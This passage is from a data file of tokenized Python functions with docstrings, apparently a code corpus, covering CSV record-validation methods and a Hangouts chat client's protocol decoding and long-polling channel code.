{"signature": "def _apply_value_predicates(self, i, r,<EOL>summarize=False,<EOL>report_unexpected_exceptions=True,<EOL>context=None):", "body": "for field_name, predicate, code, message, modulus in self._value_predicates:<EOL><INDENT>if i % modulus == <NUM_LIT:0>: <EOL><INDENT>fi = self._field_names.index(field_name)<EOL>if fi < len(r): <EOL><INDENT>value = r[fi]<EOL>try:<EOL><INDENT>valid = predicate(value)<EOL>if not valid:<EOL><INDENT>p = {'<STR_LIT:code>': code}<EOL>if not summarize:<EOL><INDENT>p['<STR_LIT:message>'] = message<EOL>p['<STR_LIT>'] = i + <NUM_LIT:1><EOL>p['<STR_LIT>'] = fi + <NUM_LIT:1><EOL>p['<STR_LIT>'] = field_name<EOL>p['<STR_LIT:value>'] = value<EOL>p['<STR_LIT>'] = r<EOL>if context is not None: p['<STR_LIT>'] = context<EOL><DEDENT>yield p<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>if report_unexpected_exceptions:<EOL><INDENT>p = {'<STR_LIT:code>': UNEXPECTED_EXCEPTION}<EOL>if not summarize:<EOL><INDENT>p['<STR_LIT:message>'] = MESSAGES[UNEXPECTED_EXCEPTION] % (e.__class__.__name__, e)<EOL>p['<STR_LIT>'] = i + <NUM_LIT:1><EOL>p['<STR_LIT>'] = fi + <NUM_LIT:1><EOL>p['<STR_LIT>'] = field_name<EOL>p['<STR_LIT:value>'] = value<EOL>p['<STR_LIT>'] = r<EOL>p['<STR_LIT>'] = e<EOL>p['<STR_LIT>'] = '<STR_LIT>' % (predicate.__name__,<EOL>predicate.__doc__)<EOL>if context is not None: p['<STR_LIT>'] = context<EOL><DEDENT>yield p<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "Apply value predicates on the given record `r`.", "id": "f10012:c1:m15"}
{"signature": "def _apply_record_checks(self, i, r,<EOL>summarize=False,<EOL>report_unexpected_exceptions=True,<EOL>context=None):", "body": "for check, modulus in self._record_checks:<EOL><INDENT>if i % modulus == <NUM_LIT:0>: <EOL><INDENT>rdict = self._as_dict(r)<EOL>try:<EOL><INDENT>check(rdict)<EOL><DEDENT>except RecordError as e:<EOL><INDENT>code = e.code if e.code is not None else RECORD_CHECK_FAILED<EOL>p = {'<STR_LIT:code>': code}<EOL>if not summarize:<EOL><INDENT>message = e.message if e.message is not None else MESSAGES[RECORD_CHECK_FAILED]<EOL>p['<STR_LIT:message>'] = message<EOL>p['<STR_LIT>'] = i + <NUM_LIT:1><EOL>p['<STR_LIT>'] = r<EOL>if context is not None: p['<STR_LIT>'] = context<EOL>if e.details is not None: p['<STR_LIT>'] = e.details<EOL><DEDENT>yield p<EOL><DEDENT>except Exception as e:<EOL><INDENT>if report_unexpected_exceptions:<EOL><INDENT>p = {'<STR_LIT:code>': UNEXPECTED_EXCEPTION}<EOL>if not summarize:<EOL><INDENT>p['<STR_LIT:message>'] = MESSAGES[UNEXPECTED_EXCEPTION] % (e.__class__.__name__, e)<EOL>p['<STR_LIT>'] = i + <NUM_LIT:1><EOL>p['<STR_LIT>'] = r<EOL>p['<STR_LIT>'] = e<EOL>p['<STR_LIT>'] = '<STR_LIT>' % (check.__name__,<EOL>check.__doc__)<EOL>if context is not None: p['<STR_LIT>'] = context<EOL><DEDENT>yield p<EOL><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "Apply record checks on `r`.", "id": "f10012:c1:m16"}
{"signature": "def _apply_record_predicates(self, i, r,<EOL>summarize=False,<EOL>report_unexpected_exceptions=True,<EOL>context=None):", "body": "for predicate, code, message, modulus in self._record_predicates:<EOL><INDENT>if i % modulus == <NUM_LIT:0>: <EOL><INDENT>rdict = self._as_dict(r)<EOL>try:<EOL><INDENT>valid = predicate(rdict)<EOL>if not valid:<EOL><INDENT>p = {'<STR_LIT:code>': code}<EOL>if not summarize:<EOL><INDENT>p['<STR_LIT:message>'] = message<EOL>p['<STR_LIT>'] = i + <NUM_LIT:1><EOL>p['<STR_LIT>'] = r<EOL>if context is not None: p['<STR_LIT>'] = context<EOL><DEDENT>yield p<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>if report_unexpected_exceptions:<EOL><INDENT>p = {'<STR_LIT:code>': UNEXPECTED_EXCEPTION}<EOL>if not summarize:<EOL><INDENT>p['<STR_LIT:message>'] = MESSAGES[UNEXPECTED_EXCEPTION] % (e.__class__.__name__, e)<EOL>p['<STR_LIT>'] = i + <NUM_LIT:1><EOL>p['<STR_LIT>'] = r<EOL>p['<STR_LIT>'] = e<EOL>p['<STR_LIT>'] = '<STR_LIT>' % (predicate.__name__,<EOL>predicate.__doc__)<EOL>if context is not None: p['<STR_LIT>'] = context<EOL><DEDENT>yield p<EOL><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "Apply record predicates on `r`.", "id": "f10012:c1:m17"}
{"signature": "def _apply_unique_checks(self, i, r, unique_sets,<EOL>summarize=False,<EOL>context=None):", "body": "for key, code, message in self._unique_checks:<EOL><INDENT>value = None<EOL>values = unique_sets[key]<EOL>if isinstance(key, basestring): <EOL><INDENT>fi = self._field_names.index(key)<EOL>if fi >= len(r):<EOL><INDENT>continue<EOL><DEDENT>value = r[fi]<EOL><DEDENT>else: <EOL><INDENT>value = []<EOL>for f in key:<EOL><INDENT>fi = self._field_names.index(f)<EOL>if fi >= len(r):<EOL><INDENT>break<EOL><DEDENT>value.append(r[fi])<EOL><DEDENT>value = tuple(value) <EOL><DEDENT>if value in values:<EOL><INDENT>p = {'<STR_LIT:code>': code}<EOL>if not summarize:<EOL><INDENT>p['<STR_LIT:message>'] = message<EOL>p['<STR_LIT>'] = i + <NUM_LIT:1><EOL>p['<STR_LIT>'] = r<EOL>p['<STR_LIT:key>'] = key<EOL>p['<STR_LIT:value>'] = value<EOL>if context is not None: p['<STR_LIT>'] = context<EOL><DEDENT>yield p<EOL><DEDENT>values.add(value)<EOL><DEDENT>", "docstring": "Apply unique checks on `r`.", "id": "f10012:c1:m18"}
{"signature": "def _apply_each_methods(self, i, r,<EOL>summarize=False,<EOL>report_unexpected_exceptions=True,<EOL>context=None):", "body": "for a in dir(self):<EOL><INDENT>if a.startswith('<STR_LIT>'):<EOL><INDENT>rdict = self._as_dict(r)<EOL>f = getattr(self, a)<EOL>try:<EOL><INDENT>f(rdict)<EOL><DEDENT>except Exception as e:<EOL><INDENT>if report_unexpected_exceptions:<EOL><INDENT>p = {'<STR_LIT:code>': UNEXPECTED_EXCEPTION}<EOL>if not summarize:<EOL><INDENT>p['<STR_LIT:message>'] = MESSAGES[UNEXPECTED_EXCEPTION] % (e.__class__.__name__, e)<EOL>p['<STR_LIT>'] = i + <NUM_LIT:1><EOL>p['<STR_LIT>'] = r<EOL>p['<STR_LIT>'] = e<EOL>p['<STR_LIT>'] = '<STR_LIT>' % (f.__name__,<EOL>f.__doc__)<EOL>if context is not None: p['<STR_LIT>'] = context<EOL><DEDENT>yield p<EOL><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "Invoke 'each' methods on `r`.", "id": "f10012:c1:m19"}
{"signature": "def _apply_assert_methods(self, i, r,<EOL>summarize=False,<EOL>report_unexpected_exceptions=True,<EOL>context=None):", "body": "for a in dir(self):<EOL><INDENT>if a.startswith('<STR_LIT>'):<EOL><INDENT>rdict = self._as_dict(r)<EOL>f = getattr(self, a)<EOL>try:<EOL><INDENT>f(rdict)<EOL><DEDENT>except AssertionError as e:<EOL><INDENT>code = ASSERT_CHECK_FAILED<EOL>message = MESSAGES[ASSERT_CHECK_FAILED]<EOL>if len(e.args) > <NUM_LIT:0>:<EOL><INDENT>custom = e.args[<NUM_LIT:0>]<EOL>if isinstance(custom, (list, tuple)):<EOL><INDENT>if len(custom) > <NUM_LIT:0>:<EOL><INDENT>code = custom[<NUM_LIT:0>]<EOL><DEDENT>if len(custom) > <NUM_LIT:1>:<EOL><INDENT>message = custom[<NUM_LIT:1>]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>code = custom<EOL><DEDENT><DEDENT>p = {'<STR_LIT:code>': code}<EOL>if not summarize:<EOL><INDENT>p['<STR_LIT:message>'] = message<EOL>p['<STR_LIT>'] = i + <NUM_LIT:1><EOL>p['<STR_LIT>'] = r<EOL>if context is not None: p['<STR_LIT>'] = context<EOL><DEDENT>yield p<EOL><DEDENT>except Exception as e:<EOL><INDENT>if report_unexpected_exceptions:<EOL><INDENT>p = {'<STR_LIT:code>': UNEXPECTED_EXCEPTION}<EOL>if not summarize:<EOL><INDENT>p['<STR_LIT:message>'] = MESSAGES[UNEXPECTED_EXCEPTION] % (e.__class__.__name__, e)<EOL>p['<STR_LIT>'] = i + <NUM_LIT:1><EOL>p['<STR_LIT>'] = r<EOL>p['<STR_LIT>'] = e<EOL>p['<STR_LIT>'] = '<STR_LIT>' % (f.__name__,<EOL>f.__doc__)<EOL>if context is not None: p['<STR_LIT>'] = context<EOL><DEDENT>yield p<EOL><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "Apply 'assert' methods on `r`.", "id": "f10012:c1:m20"}
{"signature": "def _apply_check_methods(self, i, r,<EOL>summarize=False,<EOL>report_unexpected_exceptions=True,<EOL>context=None):", "body": "for a in dir(self):<EOL><INDENT>if a.startswith('<STR_LIT>'):<EOL><INDENT>rdict = self._as_dict(r)<EOL>f = getattr(self, a)<EOL>try:<EOL><INDENT>f(rdict)<EOL><DEDENT>except RecordError as e:<EOL><INDENT>code = e.code if e.code is not None else RECORD_CHECK_FAILED<EOL>p = {'<STR_LIT:code>': code}<EOL>if not summarize:<EOL><INDENT>message = e.message if e.message is not None else MESSAGES[RECORD_CHECK_FAILED]<EOL>p['<STR_LIT:message>'] = message<EOL>p['<STR_LIT>'] = i + <NUM_LIT:1><EOL>p['<STR_LIT>'] = r<EOL>if context is not None: p['<STR_LIT>'] = context<EOL>if e.details is not None: p['<STR_LIT>'] = e.details<EOL><DEDENT>yield p<EOL><DEDENT>except Exception as e:<EOL><INDENT>if report_unexpected_exceptions:<EOL><INDENT>p = {'<STR_LIT:code>': UNEXPECTED_EXCEPTION}<EOL>if not summarize:<EOL><INDENT>p['<STR_LIT:message>'] = MESSAGES[UNEXPECTED_EXCEPTION] % (e.__class__.__name__, e)<EOL>p['<STR_LIT>'] = i + <NUM_LIT:1><EOL>p['<STR_LIT>'] = r<EOL>p['<STR_LIT>'] = e<EOL>p['<STR_LIT>'] = '<STR_LIT>' % (f.__name__,<EOL>f.__doc__)<EOL>if context is not None: p['<STR_LIT>'] = context<EOL><DEDENT>yield p<EOL><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "Apply 'check' methods on `r`.", "id": "f10012:c1:m21"}
{"signature": "def _apply_finally_assert_methods(self,<EOL>summarize=False,<EOL>report_unexpected_exceptions=True,<EOL>context=None):", "body": "for a in dir(self):<EOL><INDENT>if a.startswith('<STR_LIT>'):<EOL><INDENT>f = getattr(self, a)<EOL>try:<EOL><INDENT>f()<EOL><DEDENT>except AssertionError as e:<EOL><INDENT>code = ASSERT_CHECK_FAILED<EOL>message = MESSAGES[ASSERT_CHECK_FAILED]<EOL>if len(e.args) > <NUM_LIT:0>:<EOL><INDENT>custom = e.args[<NUM_LIT:0>]<EOL>if isinstance(custom, (list, tuple)):<EOL><INDENT>if len(custom) > <NUM_LIT:0>:<EOL><INDENT>code = custom[<NUM_LIT:0>]<EOL><DEDENT>if len(custom) > <NUM_LIT:1>:<EOL><INDENT>message = custom[<NUM_LIT:1>]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>code = custom<EOL><DEDENT><DEDENT>p = {'<STR_LIT:code>': code}<EOL>if not summarize:<EOL><INDENT>p['<STR_LIT:message>'] = message<EOL>if context is not None: p['<STR_LIT>'] = context<EOL><DEDENT>yield p<EOL><DEDENT>except Exception as e:<EOL><INDENT>if report_unexpected_exceptions:<EOL><INDENT>p = {'<STR_LIT:code>': UNEXPECTED_EXCEPTION}<EOL>if not summarize:<EOL><INDENT>p['<STR_LIT:message>'] = MESSAGES[UNEXPECTED_EXCEPTION] % (e.__class__.__name__, e)<EOL>p['<STR_LIT>'] = e<EOL>p['<STR_LIT>'] = '<STR_LIT>' % (f.__name__,<EOL>f.__doc__)<EOL>if context is not None: p['<STR_LIT>'] = context<EOL><DEDENT>yield p<EOL><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "Apply 'finally_assert' methods.", "id": "f10012:c1:m22"}
{"signature": "def _apply_skips(self, i, r,<EOL>summarize=False,<EOL>report_unexpected_exceptions=True,<EOL>context=None):", "body": "for skip in self._skips:<EOL><INDENT>try:<EOL><INDENT>result = skip(r)<EOL>if result is True:<EOL><INDENT>yield True<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>if report_unexpected_exceptions:<EOL><INDENT>p = {'<STR_LIT:code>': UNEXPECTED_EXCEPTION}<EOL>if not summarize:<EOL><INDENT>p['<STR_LIT:message>'] = MESSAGES[UNEXPECTED_EXCEPTION] % (e.__class__.__name__, e)<EOL>p['<STR_LIT>'] = i + <NUM_LIT:1><EOL>p['<STR_LIT>'] = r<EOL>p['<STR_LIT>'] = e<EOL>p['<STR_LIT>'] = '<STR_LIT>' % (skip.__name__,<EOL>skip.__doc__)<EOL>if context is not None: p['<STR_LIT>'] = context<EOL><DEDENT>yield p<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Apply skip functions on `r`.", "id": "f10012:c1:m23"}
{"signature": "def _as_dict(self, r):", "body": "d = dict()<EOL>for i, f in enumerate(self._field_names):<EOL><INDENT>d[f] = r[i] if i < len(r) else None<EOL><DEDENT>return d<EOL>", "docstring": "Convert the record to a dictionary using field names as keys.", "id": "f10012:c1:m24"}
{"signature": "def _decode_field(message, field, value):", "body": "if field.type == FieldDescriptor.TYPE_MESSAGE:<EOL><INDENT>decode(getattr(message, field.name), value)<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>if field.type == FieldDescriptor.TYPE_BYTES:<EOL><INDENT>value = base64.b64decode(value)<EOL><DEDENT>setattr(message, field.name, value)<EOL><DEDENT>except (ValueError, TypeError) as e:<EOL><INDENT>logger.warning('<STR_LIT>',<EOL>message.__class__.__name__, field.name, e)<EOL><DEDENT><DEDENT>", "docstring": "Decode optional or required field.", "id": "f10015:m0"}
{"signature": "def _decode_repeated_field(message, field, value_list):", "body": "if field.type == FieldDescriptor.TYPE_MESSAGE:<EOL><INDENT>for value in value_list:<EOL><INDENT>decode(getattr(message, field.name).add(), value)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>for value in value_list:<EOL><INDENT>if field.type == FieldDescriptor.TYPE_BYTES:<EOL><INDENT>value = base64.b64decode(value)<EOL><DEDENT>getattr(message, field.name).append(value)<EOL><DEDENT><DEDENT>except (ValueError, TypeError) as e:<EOL><INDENT>logger.warning('<STR_LIT>',<EOL>message.__class__.__name__, field.name, e)<EOL>message.ClearField(field.name)<EOL><DEDENT><DEDENT>", "docstring": "Decode repeated field.", "id": "f10015:m1"}
{"signature": "def decode(message, pblite, ignore_first_item=False):", "body": "if not isinstance(pblite, list):<EOL><INDENT>logger.warning('<STR_LIT>',<EOL>type(pblite))<EOL>return<EOL><DEDENT>if ignore_first_item:<EOL><INDENT>pblite = pblite[<NUM_LIT:1>:]<EOL><DEDENT>if pblite and isinstance(pblite[-<NUM_LIT:1>], dict):<EOL><INDENT>extra_fields = {int(field_number): value for field_number, value<EOL>in pblite[-<NUM_LIT:1>].items()}<EOL>pblite = pblite[:-<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>extra_fields = {}<EOL><DEDENT>fields_values = itertools.chain(enumerate(pblite, start=<NUM_LIT:1>),<EOL>extra_fields.items())<EOL>for field_number, value in fields_values:<EOL><INDENT>if value is None:<EOL><INDENT>continue<EOL><DEDENT>try:<EOL><INDENT>field = message.DESCRIPTOR.fields_by_number[field_number]<EOL><DEDENT>except KeyError:<EOL><INDENT>if value not in [[], '<STR_LIT>', <NUM_LIT:0>]:<EOL><INDENT>logger.debug('<STR_LIT>'<EOL>'<STR_LIT>', message.__class__.__name__, field_number,<EOL>value)<EOL><DEDENT>continue<EOL><DEDENT>if field.label == FieldDescriptor.LABEL_REPEATED:<EOL><INDENT>_decode_repeated_field(message, field, value)<EOL><DEDENT>else:<EOL><INDENT>_decode_field(message, field, value)<EOL><DEDENT><DEDENT>", "docstring": "Decode pblite to Protocol Buffer message.\n\n    This method is permissive of decoding errors and will log them as warnings\n    and continue decoding where possible.\n\n    The first element of the outer pblite list must often be ignored using the\n    ignore_first_item parameter because it contains an abbreviation of the name\n    of the protobuf message (eg.  cscmrp for ClientSendChatMessageResponseP)\n    that's not part of the protobuf.\n\n    Args:\n        message: protocol buffer message instance to decode into.\n        pblite: list representing a pblite-serialized message.\n        ignore_first_item: If True, ignore the item at index 0 in the pblite\n            list, making the item at index 1 correspond to field 1 in the\n            message.", "id": "f10015:m2"}
{"signature": "def markdown(tag):", "body": "return (MARKDOWN_START.format(tag=tag), MARKDOWN_END.format(tag=tag))<EOL>", "docstring": "Return start and end regex pattern sequences for simple Markdown tag.", "id": "f10017:m0"}
{"signature": "def html(tag):", "body": "return (HTML_START.format(tag=tag), HTML_END.format(tag=tag))<EOL>", "docstring": "Return sequence of start and end regex patterns for simple HTML tag", "id": "f10017:m1"}
{"signature": "def url_complete(url):", "body": "return url if url_proto_regex.search(url) else '<STR_LIT>' + url<EOL>", "docstring": "If URL doesn't start with protocol, prepend it with http://", "id": "f10017:m2"}
{"signature": "def preprocess(self, text):", "body": "<EOL>return text.replace('<STR_LIT:U+0020>', '<STR_LIT>')<EOL>", "docstring": "Preprocess text before parsing", "id": "f10017:c1:m1"}
{"signature": "def postprocess(self, text):", "body": "<EOL>return markdown_unescape_regex.sub(r'<STR_LIT>', text)<EOL>", "docstring": "Postprocess text after parsing", "id": "f10017:c1:m2"}
{"signature": "def _best_effort_decode(data_bytes):", "body": "decoder = Utf8IncrementalDecoder()<EOL>return decoder.decode(data_bytes)<EOL>", "docstring": "Decode as much of data_bytes as possible as UTF-8.", "id": "f10018:m0"}
{"signature": "def _parse_sid_response(res):", "body": "res = json.loads(list(ChunkParser().get_chunks(res))[<NUM_LIT:0>])<EOL>sid = res[<NUM_LIT:0>][<NUM_LIT:1>][<NUM_LIT:1>]<EOL>gsessionid = res[<NUM_LIT:1>][<NUM_LIT:1>][<NUM_LIT:0>]['<STR_LIT>']<EOL>return (sid, gsessionid)<EOL>", "docstring": "Parse response format for request for new channel SID.\n\n    Example format (after parsing JS):\n    [   [0,[\"c\",\"SID_HERE\",\"\",8]],\n        [1,[{\"gsid\":\"GSESSIONID_HERE\"}]]]\n\n    Returns (SID, gsessionid) tuple.", "id": "f10018:m1"}
{"signature": "def get_chunks(self, new_data_bytes):", "body": "self._buf += new_data_bytes<EOL>while True:<EOL><INDENT>buf_decoded = _best_effort_decode(self._buf)<EOL>buf_utf16 = buf_decoded.encode('<STR_LIT>')[<NUM_LIT:2>:]<EOL>length_str_match = LEN_REGEX.match(buf_decoded)<EOL>if length_str_match is None:<EOL><INDENT>break<EOL><DEDENT>else:<EOL><INDENT>length_str = length_str_match.group(<NUM_LIT:1>)<EOL>length = int(length_str) * <NUM_LIT:2><EOL>length_length = len((length_str + '<STR_LIT:\\n>').encode('<STR_LIT>')[<NUM_LIT:2>:])<EOL>if len(buf_utf16) - length_length < length:<EOL><INDENT>break<EOL><DEDENT>submission = buf_utf16[length_length:length_length + length]<EOL>yield submission.decode('<STR_LIT>')<EOL>drop_length = (len((length_str + '<STR_LIT:\\n>').encode()) +<EOL>len(submission.decode('<STR_LIT>').encode()))<EOL>self._buf = self._buf[drop_length:]<EOL><DEDENT><DEDENT>", "docstring": "Yield chunks generated from received data.\n\n        The buffer may not be decodable as UTF-8 if there's a split multi-byte\n        character at the end. To handle this, do a \"best effort\" decode of the\n        buffer to decode as much of it as possible.\n\n        The length is actually the length of the string as reported by\n        JavaScript. JavaScript's string length function returns the number of\n        code units in the string, represented in UTF-16. We can emulate this by\n        encoding everything in UTF-16 and multiplying the reported length by 2.\n\n        Note that when encoding a string in UTF-16, Python will prepend a\n        byte-order character, so we need to remove the first two bytes.", "id": "f10018:c1:m1"}
{"signature": "def __init__(self, session, max_retries, retry_backoff_base):", "body": "<EOL>self.on_connect = event.Event('<STR_LIT>')<EOL>self.on_reconnect = event.Event('<STR_LIT>')<EOL>self.on_disconnect = event.Event('<STR_LIT>')<EOL>self.on_receive_array = event.Event('<STR_LIT>')<EOL>self._max_retries = max_retries<EOL>self._retry_backoff_base = retry_backoff_base<EOL>self._is_connected = False<EOL>self._on_connect_called = False<EOL>self._chunk_parser = None<EOL>self._session = session<EOL>self._sid_param = None<EOL>self._gsessionid_param = None<EOL>", "docstring": "Create a new channel.\n\n        Args:\n            session (http_utils.Session): Request session.\n            max_retries (int): Number of retries for long-polling request.\n            retry_backoff_base (int): The base term for the long-polling\n                exponential backoff.", "id": "f10018:c2:m0"}
{"signature": "@property<EOL><INDENT>def is_connected(self):<DEDENT>", "body": "return self._is_connected<EOL>", "docstring": "Whether the channel is currently connected.", "id": "f10018:c2:m1"}
{"signature": "async def listen(self):", "body": "retries = <NUM_LIT:0>  <EOL>need_new_sid = True  <EOL>while retries <= self._max_retries:<EOL><INDENT>if retries > <NUM_LIT:0>:<EOL><INDENT>backoff_seconds = self._retry_backoff_base ** retries<EOL>logger.info('<STR_LIT>', backoff_seconds)<EOL>await asyncio.sleep(backoff_seconds)<EOL><DEDENT>if need_new_sid:<EOL><INDENT>await self._fetch_channel_sid()<EOL>need_new_sid = False<EOL><DEDENT>self._chunk_parser = ChunkParser()<EOL>try:<EOL><INDENT>await self._longpoll_request()<EOL><DEDENT>except ChannelSessionError as err:<EOL><INDENT>logger.warning('<STR_LIT>', err)<EOL>need_new_sid = True<EOL><DEDENT>except exceptions.NetworkError as err:<EOL><INDENT>logger.warning('<STR_LIT>', err)<EOL><DEDENT>else:<EOL><INDENT>retries = <NUM_LIT:0><EOL>continue<EOL><DEDENT>retries += <NUM_LIT:1><EOL>logger.info('<STR_LIT>', retries)<EOL>if self._is_connected:<EOL><INDENT>self._is_connected = False<EOL>await self.on_disconnect.fire()<EOL><DEDENT><DEDENT>logger.error('<STR_LIT>')<EOL>", "docstring": "Listen for messages on the backwards channel.\n\n        This method only returns when the connection has been closed due to an\n        error.", "id": "f10018:c2:m2"}
{"signature": "async def send_maps(self, map_list):", "body": "params = {<EOL>'<STR_LIT>': <NUM_LIT:8>,  <EOL>'<STR_LIT>': <NUM_LIT>,  <EOL>'<STR_LIT>': '<STR_LIT>',  <EOL>}<EOL>if self._gsessionid_param is not None:<EOL><INDENT>params['<STR_LIT>'] = self._gsessionid_param<EOL><DEDENT>if self._sid_param is not None:<EOL><INDENT>params['<STR_LIT>'] = self._sid_param<EOL><DEDENT>data_dict = dict(count=len(map_list), ofs=<NUM_LIT:0>)<EOL>for map_num, map_ in enumerate(map_list):<EOL><INDENT>for map_key, map_val in map_.items():<EOL><INDENT>data_dict['<STR_LIT>'.format(map_num, map_key)] = map_val<EOL><DEDENT><DEDENT>res = await self._session.fetch(<EOL>'<STR_LIT>', CHANNEL_URL, params=params, data=data_dict<EOL>)<EOL>return res<EOL>", "docstring": "Sends a request to the server containing maps (dicts).", "id": "f10018:c2:m3"}
{"signature": "async def _fetch_channel_sid(self):", "body": "logger.info('<STR_LIT>')<EOL>self._sid_param = None<EOL>self._gsessionid_param = None<EOL>res = await self.send_maps([])<EOL>self._sid_param, self._gsessionid_param = _parse_sid_response(res.body)<EOL>logger.info('<STR_LIT>'.format(self._sid_param))<EOL>logger.info('<STR_LIT>'.format(self._gsessionid_param))<EOL>", "docstring": "Creates a new channel for receiving push data.\n\n        Sending an empty forward channel request will create a new channel on\n        the server.\n\n        There's a separate API to get the gsessionid alone that Hangouts for\n        Chrome uses, but if we don't send a gsessionid with this request, it\n        will return a gsessionid as well as the SID.\n\n        Raises hangups.NetworkError if the channel can not be created.", "id": "f10018:c2:m4"}
{"signature": "async def _longpoll_request(self):", "body": "params = {<EOL>'<STR_LIT>': <NUM_LIT:8>,  <EOL>'<STR_LIT>': self._gsessionid_param,<EOL>'<STR_LIT>': '<STR_LIT>',  <EOL>'<STR_LIT:t>': <NUM_LIT:1>,  <EOL>'<STR_LIT>': self._sid_param,  <EOL>'<STR_LIT>': <NUM_LIT:0>,  <EOL>'<STR_LIT>': '<STR_LIT>',  <EOL>'<STR_LIT>': '<STR_LIT>',  <EOL>}<EOL>logger.info('<STR_LIT>')<EOL>try:<EOL><INDENT>async with self._session.fetch_raw('<STR_LIT:GET>', CHANNEL_URL,<EOL>params=params) as res:<EOL><INDENT>if res.status != <NUM_LIT:200>:<EOL><INDENT>if res.status == <NUM_LIT> and res.reason == '<STR_LIT>':<EOL><INDENT>raise ChannelSessionError('<STR_LIT>')<EOL><DEDENT>raise exceptions.NetworkError(<EOL>'<STR_LIT>'.format(<EOL>res.status, res.reason))<EOL><DEDENT>while True:<EOL><INDENT>async with async_timeout.timeout(PUSH_TIMEOUT):<EOL><INDENT>chunk = await res.content.read(MAX_READ_BYTES)<EOL><DEDENT>if not chunk:<EOL><INDENT>break<EOL><DEDENT>await self._on_push_data(chunk)<EOL><DEDENT><DEDENT><DEDENT>except asyncio.TimeoutError:<EOL><INDENT>raise exceptions.NetworkError('<STR_LIT>')<EOL><DEDENT>except aiohttp.ServerDisconnectedError as err:<EOL><INDENT>raise exceptions.NetworkError(<EOL>'<STR_LIT>' % err)<EOL><DEDENT>except aiohttp.ClientPayloadError:<EOL><INDENT>raise ChannelSessionError('<STR_LIT>')<EOL><DEDENT>except aiohttp.ClientError as err:<EOL><INDENT>raise exceptions.NetworkError('<STR_LIT>' % err)<EOL><DEDENT>", "docstring": "Open a long-polling request and receive arrays.\n\n        This method uses keep-alive to make re-opening the request faster, but\n        the remote server will set the \"Connection: close\" header once an hour.\n\n        Raises hangups.NetworkError or ChannelSessionError.", "id": "f10018:c2:m5"}
{"signature": "async def _on_push_data(self, data_bytes):", "body": "logger.debug('<STR_LIT>'.format(data_bytes))<EOL>for chunk in self._chunk_parser.get_chunks(data_bytes):<EOL><INDENT>if not self._is_connected:<EOL><INDENT>if self._on_connect_called:<EOL><INDENT>self._is_connected = True<EOL>await self.on_reconnect.fire()<EOL><DEDENT>else:<EOL><INDENT>self._on_connect_called = True<EOL>self._is_connected = True<EOL>await self.on_connect.fire()<EOL><DEDENT><DEDENT>container_array = json.loads(chunk)<EOL>for inner_array in container_array:<EOL><INDENT>array_id, data_array = inner_array<EOL>logger.debug('<STR_LIT>',<EOL>array_id, data_array)<EOL>await self.on_receive_array.fire(data_array)<EOL><DEDENT><DEDENT>", "docstring": "Parse push data and trigger events.", "id": "f10018:c2:m6"}
{"signature": "async def connect(self):", "body": "proxy = os.environ.get('<STR_LIT>')<EOL>self._session = http_utils.Session(self._cookies, proxy=proxy)<EOL>try:<EOL><INDENT>self._channel = channel.Channel(<EOL>self._session, self._max_retries, self._retry_backoff_base<EOL>)<EOL>self._channel.on_connect.add_observer(self.on_connect.fire)<EOL>self._channel.on_reconnect.add_observer(self.on_reconnect.fire)<EOL>self._channel.on_disconnect.add_observer(self.on_disconnect.fire)<EOL>self._channel.on_receive_array.add_observer(self._on_receive_array)<EOL>self._listen_future = asyncio.ensure_future(self._channel.listen())<EOL>try:<EOL><INDENT>await self._listen_future<EOL><DEDENT>except asyncio.CancelledError:<EOL><INDENT>self._listen_future.cancel()<EOL><DEDENT>logger.info(<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>finally:<EOL><INDENT>await self._session.close()<EOL><DEDENT>", "docstring": "Establish a connection to the chat server.\n\n        Returns when an error has occurred, or :func:`disconnect` has been\n        called.", "id": "f10019:c0:m1"}
{"signature": "async def disconnect(self):", "body": "logger.info('<STR_LIT>')<EOL>self._listen_future.cancel()<EOL>", "docstring": "Gracefully disconnect from the server.\n\n        When disconnection is complete, :func:`connect` will return.", "id": "f10019:c0:m2"}
{"signature": "def get_request_header(self):", "body": "<EOL>if self._client_id is not None:<EOL><INDENT>self._request_header.client_identifier.resource = self._client_id<EOL><DEDENT>return self._request_header<EOL>", "docstring": "Return ``request_header`` for use when constructing requests.\n\n        Returns:\n            Populated request header.", "id": "f10019:c0:m3"}
{"signature": "@staticmethod<EOL><INDENT>def get_client_generated_id():<DEDENT>", "body": "return random.randint(<NUM_LIT:0>, <NUM_LIT:2>**<NUM_LIT:32>)<EOL>", "docstring": "Return ``client_generated_id`` for use when constructing requests.\n\n        Returns:\n            Client generated ID.", "id": "f10019:c0:m4"}
{"signature": "async def set_active(self):", "body": "is_active = (self._active_client_state ==<EOL>hangouts_pb2.ACTIVE_CLIENT_STATE_IS_ACTIVE)<EOL>timed_out = (time.time() - self._last_active_secs ><EOL>SETACTIVECLIENT_LIMIT_SECS)<EOL>if not is_active or timed_out:<EOL><INDENT>self._active_client_state = (<EOL>hangouts_pb2.ACTIVE_CLIENT_STATE_IS_ACTIVE<EOL>)<EOL>self._last_active_secs = time.time()<EOL>if self._email is None:<EOL><INDENT>try:<EOL><INDENT>get_self_info_request = hangouts_pb2.GetSelfInfoRequest(<EOL>request_header=self.get_request_header(),<EOL>)<EOL>get_self_info_response = await self.get_self_info(<EOL>get_self_info_request<EOL>)<EOL><DEDENT>except exceptions.NetworkError as e:<EOL><INDENT>logger.warning('<STR_LIT>'<EOL>.format(e))<EOL>return<EOL><DEDENT>self._email = (<EOL>get_self_info_response.self_entity.properties.email[<NUM_LIT:0>]<EOL>)<EOL><DEDENT>if self._client_id is None:<EOL><INDENT>logger.info(<EOL>'<STR_LIT>'<EOL>)<EOL>return<EOL><DEDENT>try:<EOL><INDENT>set_active_request = 